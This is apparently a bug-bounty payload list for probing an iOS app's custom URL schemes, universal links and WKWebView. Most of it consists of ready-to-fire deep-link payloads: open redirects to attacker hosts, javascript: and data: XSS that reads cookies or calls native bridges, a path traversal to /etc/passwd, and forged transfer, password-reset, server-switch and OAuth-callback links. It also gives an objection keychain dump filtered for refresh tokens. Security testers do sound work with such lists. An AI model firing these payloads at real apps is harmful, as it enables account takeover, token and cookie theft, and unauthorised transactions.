# Open redirect
targetapp://redirect?url=https://evil.example.com
targetapp://open?url=https://evil.example.com

# XSS in WebView
targetapp://open?url=javascript:alert(1)
targetapp://open?url=data:text/html,<script>alert(1)</script>

# Sensitive action abuse
targetapp://transfer?amount=1000&to=attacker
targetapp://reset-password?user=victim@example.com
targetapp://set-server?host=attacker.example.com

# Path traversal
targetapp://open?file=../../../../etc/passwd

# Scheme hijack candidate test (install sibling app claiming scheme)
targetapp://auth?code=ATTACKERCODE&state=ATTACKERSTATE

# Deep link auth flow
targetapp://oauth/callback?code=aaa&state=bbb

# ==============================================================================
# 2024-2026 Bug Bounty Additions (see references/bounty_patterns_2024_2026.md)
# ==============================================================================

# --- P35: Universal-Link (AASA) validation probes ---
# First, pull the site's AASA file(s). Both HTTPS paths must work with the
# correct Content-Type; paths must be restrictive; no wildcard at root.
# Expect: application/pkcs7-mime (older iOS) or application/json (modern).
# curl -sSL -o aasa.json https://target.tld/.well-known/apple-app-site-association
# curl -sSL -o aasa_legacy.json https://target.tld/apple-app-site-association
# jq '.applinks.details[] | {appIDs,paths,components}' aasa.json

# Common AASA misconfigurations to flag:
# - Content-Type text/html or application/xml (fallback to Safari)
# - 301/302 redirect before the JSON body (iOS rejects silently)
# - wildcard "paths": ["*"] or ["/*"]  (hijack-friendly)
# - missing appIDs or appIDs referencing wrong TeamID
# - AASA served over HTTP (no TLS) - invalid

# Universal-Link bypass test — craft a URL that app *believes* it owns, then:
# 1) verify Safari opens it if AASA mis-scoped:
https://target.tld/oauth/callback?code=ATTACKER_CODE&state=VICTIM_STATE
https://target.tld/reset/<token-from-email>
# 2) confirm with `xcrun simctl openurl booted "<url>"` whether sim opens in
#    app or Safari; Safari opening = UL enforcement broken.

# --- P35: Custom URL-scheme hijack probes ---
# Tested by installing a second (throwaway) app whose Info.plist claims the
# same CFBundleURLSchemes entry; invoke the following from Notes/Safari and
# observe which app receives the open.
targetapp://auth?code=ATTACKERCODE&state=ATTACKERSTATE
targetapp://link-account?provider=apple&next=https://attacker.tld/
targetapp://payment/confirm?order=1&status=ok
targetapp://password-reset?token=CANARY

# --- P36b: WKWebView deep-link XSS probes ---
# Fire with `xcrun simctl openurl booted "<uri>"` against activities piping
# URL params into WKWebView.load(URLRequest(url:)).
targetapp://browse?url=javascript:alert(document.cookie)
targetapp://web?url=data:text/html,<script>window.webkit.messageHandlers.bridge.postMessage('leak')</script>
targetapp://view?url=file:///var/mobile/Containers/Data/Application/<UUID>/Library/Cookies/
targetapp://browse?url=https://attacker.tld/xss.html#payload=<svg/onbegin=alert(1)>

# Bridge enumeration via injected JS (when WKUserContentController bridges exist):
targetapp://browse?url=javascript:document.title=Object.keys(window.webkit.messageHandlers).join(',')

# --- P38: Keychain ACL audit helpers (objection commands, not payloads) ---
# ios keychain dump --json > kc.json
# jq '.[] | select(.accessible|test("Always|AfterFirstUnlock$")) | {acct,svce,accessible,access_group}' kc.json
# Flag: AWS Cognito refresh tokens, Azure MSAL refresh tokens, long-lived OAuth
# refresh tokens stored with Accessible=Always or without SecAccessControl biometric policy.
